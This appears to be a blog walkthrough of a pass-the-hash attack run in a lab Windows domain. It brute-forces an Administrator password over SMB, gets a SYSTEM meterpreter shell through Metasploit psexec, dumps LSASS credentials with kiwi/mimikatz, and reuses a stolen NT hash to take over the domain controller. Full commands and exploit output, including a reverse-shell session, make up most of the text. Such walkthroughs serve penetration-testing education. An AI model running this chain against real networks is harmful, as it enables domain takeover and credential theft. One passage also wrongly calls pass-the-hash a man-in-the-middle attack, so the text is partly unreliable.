by We will talk about how to seize Domains with the PASS THE HASH attack on Windows systems. If NT Hash values are compromised in Windows systems, authentication can be performed using NT Hash instead of the password. Therefore, even if the password of an authorized Windows account is unknown, the account can be accessed using NT Hash. This method is called PASS THE HASH.
I have two machines for the Pass the Hash attack. Windows Server 2019 Domain Controller machine, one of which has IP address 192.168.254.10. The other is the Windows Server 2019 FileServer machine with an IP address of 192.168.254.11 and connected to the domain. In this scenario, we will first take over the FileServer machine. We will then access the Domain Controller machine with the PASS THE HASH method with the credentials we access from this machine. First, we do a port scan on the Server 2016 machine to perform a Pass the Hash attack.
First, let’s see what threads are in our network with nbtscan. For this, let’s run the command “nbtscan 192.168.254.0/24”.
kali@kali:~$ nbtscan 192.168.254.0/24 Doing NBT name scan for addresses from 192.168.254.0/24 IP address NetBIOS Name Server User MAC address ------------------------------------------------------------------------------ 192.168.254.0 Sendto failed: Permission denied 192.168.254.11 FILESRV <server> <unknown> 00:0c:29:dd:b0:7a 192.168.254.10 ADSRV <server> <unknown> 00:0c:29:aa:48:ed 192.168.254.255 Sendto failed: Permission denied
Scanning was performed with the nmap 192.168.254.11 -v -T4 -Pn command, as seen in the Nmap Scan image. As a result of this scan, we see that ports 80 and 445 are open. Port 445 will work for us. Because, the SMB protocol runs on port 445 and this protocol, which is actually used for file sharing purposes, also provides communication between the client and the authentication protocol in Windows systems. Therefore, we can obtain a session connection over the SMB protocol.
nmap 192.168.254.11 -v -T4 -Pn
Psexec
In the Metasploit application, there is a module called psexec. PSEXEC is an application used to control more than one machine in Windows systems. Unless a payload is specified, this module, by default, authenticates with authorized user credentials on the SMB protocol, runs powershell.exe on the counter system and enables us to obtain a meterpreter session through this process. But to access the FileServer machine, we will first perform a Brute-Force attack. The password of the Administrator account can be obtained by attacking via SMB. Thus, after accessing the system with the Administrator account, the password hash of the Domain Admin account can be obtained and the Domain Controller machine can be accessed with the PASS THE HASH attack. For the Brute-Force attack, we will use the module called smb_login, also in the Metasploit application.
At first, we will enter “msfconsole” and enter the module smb_login.
kali@kali:~$ msfconsole
You can view the contents of the smb_login module with the show options command.
Since the Brute-Force attack will be performed against the FileServer machine, we assign the IP address value of 192.168.254.11 to the RHOSTS parameter. Since it will be attacked via SMB, we assign the SMB port number to the RPORT parameter (default 445). Since the username is known, we assign the Administrator value to the SMBUSER parameter. Since there will be a password attack, we throw the path where the passfile.txt file containing the word list to the PASS_FILE parameter and start the attack with the run command.
As a result of the attack, the Administrator password was found as 123qqqQ.
To access the File server system with a password, we run psexec module.
In order to access the system, we start to exploit with the exploit command by entering 192.168.254.11 for the RHOST parameter, 445 for the RPORT parameter, Administrator for the SMBUSER parameter and “123qqqQ” for the SMBPASS parameter.
As a result of the exploit process, a powershell.exe application with an ID value of 3516 is started and we get a meterpreter session with SYSTEM rights over this application.
By default, we have a meterpreter session with x86 architecture, and in order to continue our operations on the basis of x64 architecture, we select a process that will crash and do not damage the system and migrate.
We migrated to the 64-bit vmtools.exe application and now it will provide us with the meterpreter session with a 64-bit process.
After this process, we need to get the hash values of user accounts in order to PASS THE HASH. For this, we will install a module named kiwi on the meterpreter session. The Kiwi module is a module that allows the use of the functions of the Mimikatz tool written by Benjamin Delpy for post-exploitation operations with the meterpreter. Since one of the functions of the Mimikatz tool is to dump the credentials on LSASS, by installing the kiwi module, we will obtain the credentials of the logged-in users with the creds_all command that comes after the installation. Because the process named “lsass.exe” keeps the credentials of users logged into the system in its memory.
As seen in the “Credentials and Password Hashes” picture, the kiwi module was loaded with the load kiwi command and the NT Hash values of the users were listed with the creds_all command. Among this information, the account named omers draws attention. Therefore, we will take the NT Hash value of the omers user and exit the system and try to infiltrate the Domain Controller machine with the PASS THE HASH method. Since WDigest authentication was active in operating systems prior to Windows Server 2012 R2 and Windows 8.1 operating systems, passwords were kept in clear text in the lsass.exe memory. However, passwords do not come in clear text because WDigest is not active in the specified versions and later versions. Therefore, since NTLM authentication is active, NTLM hash values of the passwords of users logged in the lsass.exe process are kept. Therefore, the MITM attack can be performed by taking the NTLM hash value, and the authentication process is successfully performed and the PASS THE HASH method is applied.
Now we will access the Domain Controller machine. At first, we detected the machines in our network with the “nbtscan” command. Since it is on the same network, the ips of the Domain admin machine was 192.68.254.10. We will try to access the SMB port of the Domain Controller machine with the “Connect” command.
msf5 exploit(windows/smb/psexec) > connect 192.168.254.10 445 [*] Connected to 192.168.254.10:445 (via: 0.0.0.0:0)
With the “background” command, we put the session in the background and come back to the psexec module. This time, we will give systemconf value to the SMBDOMAIN parameter in addition to the values we have given to the parameters for the purpose of infiltrating the Domain Controller machine (This parameter is assigned the domain or NETBIOS name. We assigned the name NETBIOS). We enter 192.168.254.10 as Domain Controller machine address in RHOST parameter, 445 value for RPORT parameter, omers value for SMBUSER parameter. We will assign a value to the SMBPASS parameter in LM: NTLM format instead of a password. Since it is important that the LM value exists only, a random 128-bit hash can be entered. Therefore, we will assign the value “00000000000000000000000000000000:981b5d0169573f1a7f7925e72fc99c21” to the SMBPASS parameter.
meterpreter > background [*] Backgrounding session 11... msf5 exploit(windows/smb/psexec) > <strong>set rhosts 192.168.254.10</strong> rhosts => 192.168.254.10 msf5 exploit(windows/smb/psexec) > <strong>set smbdomain systemconf</strong> smbdomain => systemconf msf5 exploit(windows/smb/psexec) > <strong>set smbuser omers</strong> smbuser => omers msf5 exploit(windows/smb/psexec) > <strong>set smbpass 00000000000000000000000000000000:981b5d0169573f1a7f7925e72fc99c21</strong> smbpass => 00000000000000000000000000000000:981b5d0169573f1a7f7925e72fc99c21 msf5 exploit(windows/smb/psexec) >
We launch an exploit with the exploit command, and the Domain Controller infiltrates the machine and executes the PASS THE HASH attack.
msf5 exploit(windows/smb/psexec) > exploit [*] Started reverse TCP handler on 192.168.254.172:4444 [*] 192.168.254.10:445 - Connecting to the server... [*] 192.168.254.10:445 - Authenticating to 192.168.254.10:445|systemconf as user 'omers'... [*] 192.168.254.10:445 - Selecting PowerShell target [*] 192.168.254.10:445 - Executing the payload... [+] 192.168.254.10:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (176195 bytes) to 192.168.254.10 [*] Meterpreter session 11 opened (192.168.254.172:4444 -> 192.168.254.10:56291) at 2020-08-18 05:36:02 -0400 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : ADSRV OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : SYSTEMCONF Logged On Users : 9 Meterpreter : x86/windows
It allowed you to enter the Command Prompt line of the Domain Controler machine in the meterpreter with the “Shell” command.
meterpreter > shell Process 980 created. Channel 1 created. Microsoft Windows [Version 10.0.17763.1282] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>ipconfig ipconfig Windows IP Configuration Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::e5e0:e0aa:ace7:b836%11 IPv4 Address. . . . . . . . . . . : 192.168.254.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.254.1 C:\Windows\system32>net user net user User accounts for \\ ------------------------------------------------------------------------------- Administrator asaf eymen Guest krbtgt omers The command completed with one or more errors. C:\Windows\system32>
Note: Connection with “Administrator” for the first machine and “omers” account for the Domain Controller machine. However, meterpreter sessions on both connections came with SYSTEM rights. This is because the PSEXEC application can be run with SYSTEM rights. Because administrator accounts can access and use token data of the SYSTEM account, when the PSEXEC tool is run with SYSTEM rights, the session connection comes with the SYSTEM rights, which have the highest rights and privileges, not the rights of the specified user. Since the PSEXEC module on the Metasploit does this by default, the session was obtained from both machines with SYSTEM rights.
